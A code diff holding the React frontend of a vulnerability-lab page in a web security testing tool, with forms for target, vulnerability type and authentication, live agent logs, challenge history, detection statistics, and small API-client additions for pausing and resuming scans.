className={`flex items-center gap-2 px-5 py-2.5 rounded-lg text-sm font-medium transition-colors ${
|
||||
activeTab === tab.key
|
||||
? 'bg-purple-500/20 text-purple-400 border border-purple-500/30'
|
||||
: 'bg-dark-800 text-dark-400 border border-dark-700 hover:text-white'
|
||||
}`}
|
||||
>
|
||||
<tab.icon className="w-4 h-4" />
|
||||
{tab.label}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
|
||||
{/* ========== NEW TEST TAB ========== */}
|
||||
{activeTab === 'test' && (
|
||||
<div className="w-full max-w-3xl">
|
||||
<div className="bg-dark-800 border border-dark-700 rounded-2xl p-8">
|
||||
{/* Target URL */}
|
||||
<div className="mb-6">
|
||||
<label className="block text-sm font-medium text-dark-300 mb-2">Target URL</label>
|
||||
<input
|
||||
type="url"
|
||||
value={targetUrl}
|
||||
onChange={e => setTargetUrl(e.target.value)}
|
||||
placeholder="https://lab.example.com/vuln-page"
|
||||
disabled={isRunning}
|
||||
className="w-full px-4 py-4 bg-dark-900 border border-dark-600 rounded-xl text-white text-lg placeholder-dark-500 focus:outline-none focus:border-purple-500 focus:ring-1 focus:ring-purple-500 disabled:opacity-50"
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Challenge Name (optional) */}
|
||||
<div className="mb-6">
|
||||
<label className="block text-sm font-medium text-dark-300 mb-2">Challenge Name (optional)</label>
|
||||
<input
|
||||
type="text"
|
||||
value={challengeName}
|
||||
onChange={e => setChallengeName(e.target.value)}
|
||||
placeholder={selectedVulnType?.startsWith('xss')
|
||||
? 'e.g. "Reflected XSS with most tags and attributes blocked"'
|
||||
: "e.g. PortSwigger Lab: Reflected XSS into HTML context"}
|
||||
disabled={isRunning}
|
||||
className="w-full px-4 py-3 bg-dark-900 border border-dark-600 rounded-xl text-white placeholder-dark-500 focus:outline-none focus:border-purple-500 disabled:opacity-50"
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Vulnerability Type Selector */}
|
||||
<div className="mb-6">
|
||||
<label className="block text-sm font-medium text-dark-300 mb-2">
|
||||
Vulnerability Type {selectedInfo && (
|
||||
<span className={`ml-2 px-2 py-0.5 rounded text-xs ${SEVERITY_COLORS[selectedInfo.severity]} text-white`}>
|
||||
{selectedInfo.severity}
|
||||
</span>
|
||||
)}
|
||||
</label>
|
||||
|
||||
{/* Search */}
|
||||
<div className="relative mb-3">
|
||||
<Search className="absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-dark-500" />
|
||||
<input
|
||||
type="text"
|
||||
value={searchFilter}
|
||||
onChange={e => setSearchFilter(e.target.value)}
|
||||
placeholder="Search vuln types..."
|
||||
disabled={isRunning}
|
||||
className="w-full pl-10 pr-4 py-2.5 bg-dark-900 border border-dark-600 rounded-lg text-white text-sm placeholder-dark-500 focus:outline-none focus:border-purple-500 disabled:opacity-50"
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Selected indicator */}
|
||||
{selectedInfo && (
|
||||
<div className="mb-3 p-3 bg-purple-500/10 border border-purple-500/20 rounded-lg flex items-center justify-between">
|
||||
<div>
|
||||
<span className="text-purple-400 font-medium">{selectedInfo.title}</span>
|
||||
{selectedInfo.cwe_id && (
|
||||
<span className="ml-2 text-dark-500 text-xs">{selectedInfo.cwe_id}</span>
|
||||
)}
|
||||
</div>
|
||||
<button
|
||||
onClick={() => setSelectedVulnType('')}
|
||||
disabled={isRunning}
|
||||
className="text-dark-500 hover:text-white text-xs"
|
||||
>
|
||||
Clear
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Category accordion */}
|
||||
<div className="max-h-80 overflow-y-auto border border-dark-600 rounded-xl bg-dark-900">
|
||||
{filteredCategories.map(cat => (
|
||||
<div key={cat.key} className="border-b border-dark-700 last:border-b-0">
|
||||
<button
|
||||
onClick={() => setExpandedCat(expandedCat === cat.key ? null : cat.key)}
|
||||
disabled={isRunning}
|
||||
className="w-full flex items-center justify-between px-4 py-3 text-sm font-medium text-dark-300 hover:text-white hover:bg-dark-800 transition-colors disabled:opacity-50"
|
||||
>
|
||||
<span>{cat.label} ({cat.types.length})</span>
|
||||
{expandedCat === cat.key ? <ChevronUp className="w-4 h-4" /> : <ChevronDown className="w-4 h-4" />}
|
||||
</button>
|
||||
{expandedCat === cat.key && (
|
||||
<div className="px-2 pb-2">
|
||||
{cat.types.map(vtype => (
|
||||
<button
|
||||
key={vtype.key}
|
||||
onClick={() => setSelectedVulnType(vtype.key)}
|
||||
disabled={isRunning}
|
||||
className={`w-full flex items-center justify-between px-3 py-2 rounded-lg text-sm transition-colors disabled:opacity-50 ${
|
||||
selectedVulnType === vtype.key
|
||||
? 'bg-purple-500/20 text-purple-400'
|
||||
: 'text-dark-400 hover:bg-dark-800 hover:text-white'
|
||||
}`}
|
||||
>
|
||||
<span className="text-left">{vtype.title}</span>
|
||||
<div className="flex items-center gap-2">
|
||||
{vtype.cwe_id && <span className="text-dark-600 text-xs">{vtype.cwe_id}</span>}
|
||||
<span className={`w-2 h-2 rounded-full ${SEVERITY_COLORS[vtype.severity]}`} />
|
||||
</div>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Auth Section */}
|
||||
<div className="mb-6">
|
||||
<button
|
||||
onClick={() => setShowAuth(!showAuth)}
|
||||
disabled={isRunning}
|
||||
className="flex items-center gap-2 text-sm text-dark-400 hover:text-white transition-colors disabled:opacity-50"
|
||||
>
|
||||
<Lock className="w-4 h-4" />
|
||||
<span>Authentication (Optional)</span>
|
||||
{showAuth ? <ChevronUp className="w-4 h-4" /> : <ChevronDown className="w-4 h-4" />}
|
||||
</button>
|
||||
{showAuth && (
|
||||
<div className="mt-3 space-y-3 pl-6">
|
||||
<select
|
||||
value={authType}
|
||||
onChange={e => setAuthType(e.target.value)}
|
||||
disabled={isRunning}
|
||||
className="w-full px-3 py-2 bg-dark-900 border border-dark-600 rounded-lg text-white text-sm focus:outline-none focus:border-purple-500"
|
||||
>
|
||||
<option value="">No Authentication</option>
|
||||
<option value="bearer">Bearer Token</option>
|
||||
<option value="cookie">Cookie</option>
|
||||
<option value="basic">Basic Auth (user:pass)</option>
|
||||
<option value="header">Custom Header (Name:Value)</option>
|
||||
</select>
|
||||
{authType && (
|
||||
<input
|
||||
type="text"
|
||||
value={authValue}
|
||||
onChange={e => setAuthValue(e.target.value)}
|
||||
disabled={isRunning}
|
||||
placeholder={
|
||||
authType === 'bearer' ? 'eyJhbGciOiJIUzI1NiIs...' :
|
||||
authType === 'cookie' ? 'session=abc123; token=xyz' :
|
||||
authType === 'basic' ? 'admin:password123' :
|
||||
'X-API-Key:your-api-key'
|
||||
}
|
||||
className="w-full px-3 py-2 bg-dark-900 border border-dark-600 rounded-lg text-white text-sm placeholder-dark-500 focus:outline-none focus:border-purple-500"
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Notes */}
|
||||
<div className="mb-6">
|
||||
<label className="block text-sm font-medium text-dark-300 mb-2">Notes (optional)</label>
|
||||
<textarea
|
||||
value={notes}
|
||||
onChange={e => setNotes(e.target.value)}
|
||||
rows={2}
|
||||
disabled={isRunning}
|
||||
placeholder={selectedVulnType?.startsWith('xss')
|
||||
? "Hints: blocked chars/tags, encoding observed, context (e.g. 'angle brackets HTML-encoded, input in onclick attribute')"
|
||||
: "e.g. PortSwigger Apprentice level, no WAF"}
|
||||
className="w-full px-4 py-3 bg-dark-900 border border-dark-600 rounded-xl text-white placeholder-dark-500 focus:outline-none focus:border-purple-500 disabled:opacity-50"
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Error */}
|
||||
{error && (
|
||||
<div className="mb-6 p-3 bg-red-500/10 border border-red-500/20 rounded-lg flex items-center gap-2">
|
||||
<AlertTriangle className="w-5 h-5 text-red-400" />
|
||||
<span className="text-red-400 text-sm">{error}</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Start/Stop */}
|
||||
{!isRunning ? (
|
||||
<button
|
||||
onClick={handleStart}
|
||||
disabled={!targetUrl.trim() || !selectedVulnType}
|
||||
className="w-full py-4 bg-purple-500 hover:bg-purple-600 disabled:bg-dark-600 disabled:text-dark-400 text-white font-bold text-lg rounded-xl transition-colors flex items-center justify-center gap-3"
|
||||
>
|
||||
<FlaskConical className="w-6 h-6" />
|
||||
START TEST
|
||||
</button>
|
||||
) : (
|
||||
<button
|
||||
onClick={handleStop}
|
||||
className="w-full py-4 bg-red-500 hover:bg-red-600 text-white font-bold text-lg rounded-xl transition-colors flex items-center justify-center gap-3"
|
||||
>
|
||||
<Square className="w-6 h-6" />
|
||||
STOP TEST
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Running Progress + Live Logs */}
|
||||
{runningStatus && (
|
||||
<div className="mt-6 space-y-4">
|
||||
{/* Status Card */}
|
||||
<div className="bg-dark-800 border border-dark-700 rounded-2xl p-6">
|
||||
<div className="flex items-center justify-between mb-4">
|
||||
<h3 className="text-white font-semibold flex items-center gap-2">
|
||||
{runningStatus.status === 'running' && <Loader2 className="w-5 h-5 animate-spin text-purple-400" />}
|
||||
{runningStatus.status === 'completed' && <CheckCircle2 className="w-5 h-5 text-green-400" />}
|
||||
{['failed', 'error'].includes(runningStatus.status) && <XCircle className="w-5 h-5 text-red-400" />}
|
||||
{runningStatus.status === 'stopped' && <Square className="w-5 h-5 text-orange-400" />}
|
||||
{selectedInfo?.title || selectedVulnType}
|
||||
</h3>
|
||||
<span className="text-sm text-dark-400">{runningStatus.progress || 0}%</span>
|
||||
</div>
|
||||
|
||||
{/* Progress bar */}
|
||||
<div className="w-full bg-dark-900 rounded-full h-2 mb-4">
|
||||
<div
|
||||
className={`h-2 rounded-full transition-all duration-500 ${
|
||||
runningStatus.status === 'completed' ? 'bg-green-500' :
|
||||
runningStatus.status === 'error' || runningStatus.status === 'failed' ? 'bg-red-500' :
|
||||
'bg-purple-500'
|
||||
}`}
|
||||
style={{ width: `${runningStatus.progress || 0}%` }}
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Info row */}
|
||||
<div className="flex items-center gap-4 text-sm text-dark-400 mb-3">
|
||||
{runningStatus.phase && (
|
||||
<span className="flex items-center gap-1">
|
||||
<Shield className="w-3.5 h-3.5" />
|
||||
{runningStatus.phase}
|
||||
</span>
|
||||
)}
|
||||
<span className="flex items-center gap-1">
|
||||
<Terminal className="w-3.5 h-3.5" />
|
||||
{runningLogs.length} log entries
|
||||
</span>
|
||||
{runningStatus.findings_count > 0 && (
|
||||
<span className="flex items-center gap-1 text-green-400">
|
||||
<AlertTriangle className="w-3.5 h-3.5" />
|
||||
{runningStatus.findings_count} finding(s)
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Findings preview */}
|
||||
{runningStatus.findings && runningStatus.findings.length > 0 && (
|
||||
<div className="mb-3 space-y-2">
|
||||
{runningStatus.findings.slice(-3).map((f: any, i: number) => (
|
||||
<div key={i} className="p-2 bg-green-500/5 border border-green-500/20 rounded-lg">
|
||||
<div className="flex items-center gap-2">
|
||||
<span className={`px-1.5 py-0.5 rounded text-xs font-bold ${SEVERITY_COLORS[f.severity || 'medium']} text-white`}>
|
||||
{(f.severity || 'medium').toUpperCase()}
|
||||
</span>
|
||||
<span className="text-sm text-green-300">{f.title || f.vulnerability_type || 'Finding'}</span>
|
||||
</div>
|
||||
{f.affected_endpoint && (
|
||||
<p className="text-xs text-dark-500 mt-1 truncate">{f.affected_endpoint}</p>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Result badge on completion */}
|
||||
{runningStatus.result && (
|
||||
<div className="mt-4 flex items-center gap-3">
|
||||
<span className={`px-3 py-1 rounded-full text-sm font-medium ${
|
||||
RESULT_BADGE[runningStatus.result]?.bg || 'bg-gray-500/20'
|
||||
} ${RESULT_BADGE[runningStatus.result]?.text || 'text-gray-400'}`}>
|
||||
{RESULT_BADGE[runningStatus.result]?.label || runningStatus.result}
|
||||
</span>
|
||||
{runningStatus.scan_id && (
|
||||
<button
|
||||
onClick={() => navigate(`/scan/${runningStatus.scan_id}`)}
|
||||
className="text-sm text-purple-400 hover:text-purple-300 flex items-center gap-1"
|
||||
>
|
||||
<Eye className="w-4 h-4" /> View Scan Details
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Error */}
|
||||
{runningStatus.error && (
|
||||
<div className="mt-3 p-2 bg-red-500/10 border border-red-500/20 rounded text-red-400 text-sm">
|
||||
{runningStatus.error}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Live Logs Panel */}
|
||||
<div className="bg-dark-800 border border-dark-700 rounded-2xl overflow-hidden">
|
||||
<div className="flex items-center justify-between px-4 py-3 border-b border-dark-700">
|
||||
<button
|
||||
onClick={() => setShowLogs(!showLogs)}
|
||||
className="flex items-center gap-2 text-sm font-medium text-dark-300 hover:text-white transition-colors"
|
||||
>
|
||||
<Terminal className="w-4 h-4 text-purple-400" />
|
||||
Live Agent Logs
|
||||
<span className="text-dark-600 text-xs">({runningLogs.length})</span>
|
||||
{showLogs ? <ChevronUp className="w-4 h-4" /> : <ChevronDown className="w-4 h-4" />}
|
||||
</button>
|
||||
{showLogs && (
|
||||
<div className="flex items-center gap-1">
|
||||
{(['all', 'info', 'warning', 'error'] as const).map(level => (
|
||||
<button
|
||||
key={level}
|
||||
onClick={() => setLogFilter(level)}
|
||||
className={`px-2 py-1 rounded text-xs transition-colors ${
|
||||
logFilter === level
|
||||
? 'bg-purple-500/20 text-purple-400'
|
||||
: 'text-dark-500 hover:text-white'
|
||||
}`}
|
||||
>
|
||||
{level}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
{showLogs && (
|
||||
<div
|
||||
className="p-3 bg-dark-900 max-h-80 overflow-y-auto space-y-0.5"
|
||||
onScroll={(e) => {
|
||||
const el = e.currentTarget
|
||||
autoScrollRef.current = el.scrollTop + el.clientHeight >= el.scrollHeight - 50
|
||||
}}
|
||||
>
|
||||
{filteredLogs.length === 0 ? (
|
||||
<p className="text-dark-600 text-xs font-mono">Waiting for logs...</p>
|
||||
) : (
|
||||
filteredLogs.map((log, i) => <LogLine key={i} log={log} />)
|
||||
)}
|
||||
<div ref={logsEndRef} />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* ========== HISTORY TAB ========== */}
|
||||
{activeTab === 'history' && (
|
||||
<div className="w-full max-w-4xl">
|
||||
<div className="bg-dark-800 border border-dark-700 rounded-2xl overflow-hidden">
|
||||
<div className="p-4 border-b border-dark-700 flex items-center justify-between">
|
||||
<h3 className="text-white font-semibold">Challenge History ({challenges.length})</h3>
|
||||
<button
|
||||
onClick={loadChallenges}
|
||||
className="text-sm text-dark-400 hover:text-white"
|
||||
>
|
||||
Refresh
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{challenges.length === 0 ? (
|
||||
<div className="p-8 text-center text-dark-500">
|
||||
No challenges yet. Start your first test!
|
||||
</div>
|
||||
) : (
|
||||
<div className="divide-y divide-dark-700">
|
||||
{challenges.map(ch => {
|
||||
const statusBadge = STATUS_BADGE[ch.status] || STATUS_BADGE.pending
|
||||
const resultBadge = ch.result ? RESULT_BADGE[ch.result] : null
|
||||
const isExpanded = expandedChallenge === ch.id
|
||||
|
||||
return (
|
||||
<div key={ch.id}>
|
||||
{/* Challenge row */}
|
||||
<div
|
||||
className={`p-4 cursor-pointer transition-colors ${
|
||||
isExpanded ? 'bg-dark-900/80' : 'hover:bg-dark-900/50'
|
||||
}`}
|
||||
onClick={() => toggleChallengeExpand(ch.id)}
|
||||
>
|
||||
<div className="flex items-center justify-between mb-2">
|
||||
<div className="flex items-center gap-3">
|
||||
<ChevronRight className={`w-4 h-4 text-dark-500 transition-transform ${isExpanded ? 'rotate-90' : ''}`} />
|
||||
<span className="text-white font-medium">
|
||||
{ch.challenge_name || ch.vuln_type.replace(/_/g, ' ').replace(/\b\w/g, c => c.toUpperCase())}
|
||||
</span>
|
||||
<span className={`px-2 py-0.5 rounded text-xs ${statusBadge.bg} ${statusBadge.text}`}>
|
||||
{ch.status}
|
||||
</span>
|
||||
{resultBadge && (
|
||||
<span className={`px-2 py-0.5 rounded text-xs ${resultBadge.bg} ${resultBadge.text}`}>
|
||||
{resultBadge.label}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<div className="flex items-center gap-2" onClick={e => e.stopPropagation()}>
|
||||
{ch.scan_id && (
|
||||
<button
|
||||
onClick={() => navigate(`/scan/${ch.scan_id}`)}
|
||||
className="p-1.5 text-dark-400 hover:text-white rounded"
|
||||
title="View scan details"
|
||||
>
|
||||
<Eye className="w-4 h-4" />
|
||||
</button>
|
||||
)}
|
||||
<button
|
||||
onClick={() => handleDelete(ch.id)}
|
||||
className="p-1.5 text-dark-400 hover:text-red-400 rounded"
|
||||
title="Delete"
|
||||
>
|
||||
<Trash2 className="w-4 h-4" />
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="flex items-center gap-4 text-xs text-dark-500 ml-7">
|
||||
<span className="flex items-center gap-1">
|
||||
<Target className="w-3 h-3" />
|
||||
{ch.target_url.length > 50 ? ch.target_url.slice(0, 50) + '...' : ch.target_url}
|
||||
</span>
|
||||
<span className="text-dark-600">|</span>
|
||||
<span>{ch.vuln_type}</span>
|
||||
{ch.vuln_category && (
|
||||
<>
|
||||
<span className="text-dark-600">|</span>
|
||||
<span>{ch.vuln_category}</span>
|
||||
</>
|
||||
)}
|
||||
<span className="text-dark-600">|</span>
|
||||
<span className="flex items-center gap-1">
|
||||
<Clock className="w-3 h-3" />
|
||||
{formatDuration(ch.duration)}
|
||||
</span>
|
||||
{(ch.endpoints_count ?? 0) > 0 && (
|
||||
<>
|
||||
<span className="text-dark-600">|</span>
|
||||
<span className="flex items-center gap-1">
|
||||
<Globe className="w-3 h-3" />
|
||||
{ch.endpoints_count} endpoints
|
||||
</span>
|
||||
</>
|
||||
)}
|
||||
{(ch.logs_count ?? 0) > 0 && (
|
||||
<>
|
||||
<span className="text-dark-600">|</span>
|
||||
<span className="flex items-center gap-1">
|
||||
<Terminal className="w-3 h-3" />
|
||||
{ch.logs_count} logs
|
||||
</span>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Findings summary */}
|
||||
{ch.findings_count > 0 && (
|
||||
<div className="flex gap-2 mt-2 ml-7">
|
||||
{(['critical', 'high', 'medium', 'low', 'info'] as const).map(sev => {
|
||||
const count = ch[`${sev}_count` as keyof VulnLabChallenge] as number
|
||||
if (!count) return null
|
||||
return (
|
||||
<span key={sev} className={`${SEVERITY_COLORS[sev]} text-white px-2 py-0.5 rounded text-xs font-bold`}>
|
||||
{count} {sev}
|
||||
</span>
|
||||
)
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Expanded detail section */}
|
||||
{isExpanded && (
|
||||
<div className="border-t border-dark-700 bg-dark-900/50">
|
||||
{loadingChallenge ? (
|
||||
<div className="p-6 flex items-center justify-center gap-2 text-dark-400">
|
||||
<Loader2 className="w-5 h-5 animate-spin" />
|
||||
Loading details...
|
||||
</div>
|
||||
) : expandedChallengeData ? (
|
||||
<div className="p-4 space-y-4">
|
||||
{/* Findings Detail */}
|
||||
{(expandedChallengeData.findings_detail || expandedChallengeData.findings || []).length > 0 && (
|
||||
<div>
|
||||
<h4 className="text-sm font-medium text-dark-300 mb-2 flex items-center gap-2">
|
||||
<Shield className="w-4 h-4 text-green-400" />
|
||||
Findings ({(expandedChallengeData.findings_detail || expandedChallengeData.findings || []).length})
|
||||
</h4>
|
||||
<div className="space-y-2">
|
||||
{(expandedChallengeData.findings_detail || expandedChallengeData.findings || []).map((f: any, i: number) => (
|
||||
<div key={i} className="p-3 bg-dark-800 border border-dark-700 rounded-lg">
|
||||
<div className="flex items-center gap-2 mb-1">
|
||||
<span className={`px-1.5 py-0.5 rounded text-xs font-bold ${SEVERITY_COLORS[f.severity || 'medium']} text-white`}>
|
||||
{(f.severity || 'medium').toUpperCase()}
|
||||
</span>
|
||||
<span className="text-sm text-white font-medium">
|
||||
{f.title || f.vulnerability_type || 'Finding'}
|
||||
</span>
|
||||
</div>
|
||||
{f.vulnerability_type && (
|
||||
<p className="text-xs text-dark-500 mb-1">Type: {f.vulnerability_type}</p>
|
||||
)}
|
||||
{f.affected_endpoint && (
|
||||
<p className="text-xs text-dark-400 mb-1 flex items-center gap-1">
|
||||
<Globe className="w-3 h-3" />
|
||||
{f.affected_endpoint}
|
||||
</p>
|
||||
)}
|
||||
{f.payload && (
|
||||
<div className="mt-1">
|
||||
<span className="text-xs text-dark-600">Payload: </span>
|
||||
<code className="text-xs text-purple-400 bg-dark-900 px-1.5 py-0.5 rounded break-all">
|
||||
{f.payload}
|
||||
</code>
|
||||
</div>
|
||||
)}
|
||||
{f.evidence && (
|
||||
<div className="mt-1">
|
||||
<span className="text-xs text-dark-600">Evidence: </span>
|
||||
<span className="text-xs text-dark-400">{f.evidence.slice(0, 300)}</span>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* No findings message */}
|
||||
{(expandedChallengeData.findings_detail || expandedChallengeData.findings || []).length === 0 &&
|
||||
expandedChallengeData.status !== 'running' && (
|
||||
<div className="p-3 bg-dark-800 border border-dark-700 rounded-lg text-center text-dark-500 text-sm">
|
||||
No findings detected for this challenge.
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Agent Logs */}
|
||||
{(expandedChallengeData.logs || []).length > 0 && (
|
||||
<ChallengeLogsViewer logs={expandedChallengeData.logs} />
|
||||
)}
|
||||
|
||||
{/* Notes */}
|
||||
{expandedChallengeData.notes && (
|
||||
<div className="p-3 bg-dark-800 border border-dark-700 rounded-lg">
|
||||
<h4 className="text-xs font-medium text-dark-500 mb-1 flex items-center gap-1">
|
||||
<FileText className="w-3 h-3" /> Notes
|
||||
</h4>
|
||||
<p className="text-sm text-dark-300">{expandedChallengeData.notes}</p>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
) : (
|
||||
<div className="p-6 text-center text-dark-500 text-sm">
|
||||
Failed to load challenge details.
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* ========== STATS TAB ========== */}
|
||||
{activeTab === 'stats' && (
|
||||
<div className="w-full max-w-4xl">
|
||||
{!stats ? (
|
||||
<div className="text-center text-dark-500 py-12">Loading stats...</div>
|
||||
) : (
|
||||
<div className="space-y-6">
|
||||
{/* Overview cards */}
|
||||
<div className="grid grid-cols-4 gap-4">
|
||||
{[
|
||||
{ label: 'Total Tests', value: stats.total, color: 'text-white' },
|
||||
{ label: 'Running', value: stats.running, color: 'text-blue-400' },
|
||||
{ label: 'Detection Rate', value: `${stats.detection_rate}%`, color: 'text-green-400' },
|
||||
{ label: 'Detected', value: stats.result_counts?.detected || 0, color: 'text-green-400' },
|
||||
].map((card, i) => (
|
||||
<div key={i} className="bg-dark-800 border border-dark-700 rounded-xl p-4 text-center">
|
||||
<div className={`text-2xl font-bold ${card.color}`}>{card.value}</div>
|
||||
<div className="text-xs text-dark-500 mt-1">{card.label}</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
|
||||
{/* Per-category breakdown */}
|
||||
{Object.keys(stats.by_category).length > 0 && (
|
||||
<div className="bg-dark-800 border border-dark-700 rounded-2xl p-6">
|
||||
<h3 className="text-white font-semibold mb-4">Detection by Category</h3>
|
||||
<div className="space-y-3">
|
||||
{Object.entries(stats.by_category).map(([cat, data]) => {
|
||||
const rate = data.total > 0 ? Math.round(data.detected / data.total * 100) : 0
|
||||
const catLabel = categories[cat]?.label || cat
|
||||
return (
|
||||
<div key={cat}>
|
||||
<div className="flex items-center justify-between mb-1">
|
||||
<span className="text-sm text-dark-300">{catLabel}</span>
|
||||
<span className="text-sm text-dark-400">
|
||||
{data.detected}/{data.total} ({rate}%)
|
||||
</span>
|
||||
</div>
|
||||
<div className="w-full bg-dark-900 rounded-full h-2">
|
||||
<div
|
||||
className={`h-2 rounded-full transition-all ${rate >= 70 ? 'bg-green-500' : rate >= 40 ? 'bg-yellow-500' : 'bg-red-500'}`}
|
||||
style={{ width: `${rate}%` }}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Per-type breakdown */}
|
||||
{Object.keys(stats.by_type).length > 0 && (
|
||||
<div className="bg-dark-800 border border-dark-700 rounded-2xl p-6">
|
||||
<h3 className="text-white font-semibold mb-4">Detection by Vulnerability Type</h3>
|
||||
<div className="grid grid-cols-2 gap-3">
|
||||
{Object.entries(stats.by_type).map(([vtype, data]) => {
|
||||
const rate = data.total > 0 ? Math.round(data.detected / data.total * 100) : 0
|
||||
return (
|
||||
<div key={vtype} className="flex items-center justify-between p-2 bg-dark-900 rounded-lg">
|
||||
<span className="text-sm text-dark-300">{vtype.replace(/_/g, ' ')}</span>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className={`text-xs font-bold ${rate >= 70 ? 'text-green-400' : rate >= 40 ? 'text-yellow-400' : 'text-red-400'}`}>
|
||||
{rate}%
|
||||
</span>
|
||||
<span className="text-xs text-dark-600">({data.detected}/{data.total})</span>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{stats.total === 0 && (
|
||||
<div className="text-center text-dark-500 py-8">
|
||||
No test data yet. Run some vulnerability tests to see stats!
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
/* ===== Challenge Logs Viewer Component ===== */
|
||||
function ChallengeLogsViewer({ logs }: { logs: VulnLabLogEntry[] }) {
|
||||
const [expanded, setExpanded] = useState(false)
|
||||
const [filter, setFilter] = useState<'all' | 'info' | 'warning' | 'error'>('all')
|
||||
|
||||
const filtered = filter === 'all' ? logs : logs.filter(l => l.level === filter)
|
||||
const displayed = expanded ? filtered : filtered.slice(-30)
|
||||
|
||||
const errorCount = logs.filter(l => l.level === 'error').length
|
||||
const warnCount = logs.filter(l => l.level === 'warning').length
|
||||
|
||||
return (
|
||||
<div className="border border-dark-700 rounded-lg overflow-hidden">
|
||||
<div className="flex items-center justify-between px-3 py-2 bg-dark-800 border-b border-dark-700">
|
||||
<button
|
||||
onClick={() => setExpanded(!expanded)}
|
||||
className="flex items-center gap-2 text-sm font-medium text-dark-300 hover:text-white transition-colors"
|
||||
>
|
||||
<Terminal className="w-4 h-4 text-purple-400" />
|
||||
Agent Logs ({logs.length})
|
||||
{errorCount > 0 && <span className="text-red-400 text-xs">({errorCount} errors)</span>}
|
||||
{warnCount > 0 && <span className="text-yellow-400 text-xs">({warnCount} warnings)</span>}
|
||||
{expanded ? <ChevronUp className="w-3 h-3" /> : <ChevronDown className="w-3 h-3" />}
|
||||
</button>
|
||||
<div className="flex items-center gap-1">
|
||||
{(['all', 'info', 'warning', 'error'] as const).map(level => (
|
||||
<button
|
||||
key={level}
|
||||
onClick={() => setFilter(level)}
|
||||
className={`px-2 py-0.5 rounded text-xs transition-colors ${
|
||||
filter === level
|
||||
? 'bg-purple-500/20 text-purple-400'
|
||||
: 'text-dark-600 hover:text-white'
|
||||
}`}
|
||||
>
|
||||
{level}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
<div className={`p-2 bg-dark-900 overflow-y-auto space-y-0.5 ${expanded ? 'max-h-96' : 'max-h-48'}`}>
|
||||
{!expanded && filtered.length > 30 && (
|
||||
<p className="text-dark-600 text-xs font-mono mb-1">
|
||||
... {filtered.length - 30} older entries hidden (click to expand)
|
||||
</p>
|
||||
)}
|
||||
{displayed.map((log, i) => <LogLine key={i} log={log} />)}
|
||||
{displayed.length === 0 && (
|
||||
<p className="text-dark-600 text-xs font-mono">No logs matching filter.</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -2,7 +2,9 @@ import axios from 'axios'
|
||||
import type {
|
||||
Scan, Vulnerability, Prompt, PromptPreset, Report, DashboardStats,
|
||||
AgentTask, AgentRequest, AgentResponse, AgentStatus, AgentLog, AgentMode,
|
||||
ScanAgentTask, ActivityFeedItem
|
||||
ScanAgentTask, ActivityFeedItem, ScheduleJob, ScheduleJobRequest, AgentRole,
|
||||
VulnLabChallenge, VulnLabRunRequest, VulnLabRunResponse, VulnLabRealtimeStatus,
|
||||
VulnTypeCategory, VulnLabStats, SandboxPoolStatus
|
||||
} from '../types'
|
||||
|
||||
const api = axios.create({
|
||||
@@ -48,11 +50,26 @@ export const scansApi = {
|
||||
return response.data
|
||||
},
|
||||
|
||||
pause: async (scanId: string) => {
|
||||
const response = await api.post(`/scans/${scanId}/pause`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
resume: async (scanId: string) => {
|
||||
const response = await api.post(`/scans/${scanId}/resume`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
delete: async (scanId: string) => {
|
||||
const response = await api.delete(`/scans/${scanId}`)
|
||||
return response.data
|
||||
},
|
||||
|
||||
